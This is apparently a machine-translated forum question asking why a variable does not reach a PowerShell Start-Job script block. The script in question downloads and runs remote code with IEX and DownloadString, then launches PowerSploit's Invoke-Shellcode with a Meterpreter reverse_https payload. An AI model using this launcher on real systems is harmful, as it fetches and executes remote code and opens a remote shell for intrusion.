$foo = @("string.here")
foreach ($num in $foo) {
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
$temp = $args[0]
MyCommandlet -Lhost "$temp"
Write-Host "$temp"
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s -args $num
}
これから変更。編集:わかりやすくするために不要なコードを削除しました。
MyCommandlet
使用される前にチェックされる変数 (ここ-Lhost $temp
では ) が必要です (null または空であってはなりません)。
上記のスクリプトを実行しようとすると、次のエラー メッセージが表示されます。
Invoke-Shellcode : パラメーター 'Lhost' の引数を検証できません。引数が null または空です。null または空でない引数を指定して、コマンドを再試行してください。
編集:Invoke-Shellcode
私が参照している元のコマンドレットですMyCommandlet
。セキュリティ上の理由から、完全なコードを含めたくありませんでした (スクリプトを自分で実行する場合に備えて)。詳細については、こちらのコードを参照して
ください https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
元の ScriptBlock は次のようになります ($temp 変数を参照)
{
$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}
MyCommandlet
基本的に、変数は適切に渡されませんがWrite-Host $temp
、同じコンテキストで null 以外の値 (これは正しい) を返します。特に新しいジョブで実行される場合、変数が他の ScriptBlock に渡されないことは理解していますがWrite-Host
、ジョブ内で値を適切に読み取ることができるため、他に見逃しているものがあります。
いくつかの投稿で示唆されているように、次の代替案を試しました。
...} -ArgumentList $temp
(ScriptBlock の後) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/{param($temp) ...}
(ScriptBlock の先頭)Start-Job -ScriptBlock {...}
ScriptBlock の変数の代わりに直接 使用します。[scriptblock]::Create(...)
ScriptBlock を宣言する- を使用
Invoke-Command
する代わりに、Start-Job
それが機能しないだけでなく(動作が少し異なりますが)、Start-Job
可能であればそのまま使用したいと思います。 - Powershell V3.0
$using:variable
の機能は使用したくありません。さらに、試した構成では機能しませんでした。
それらのどれも私のために働いていませんでした。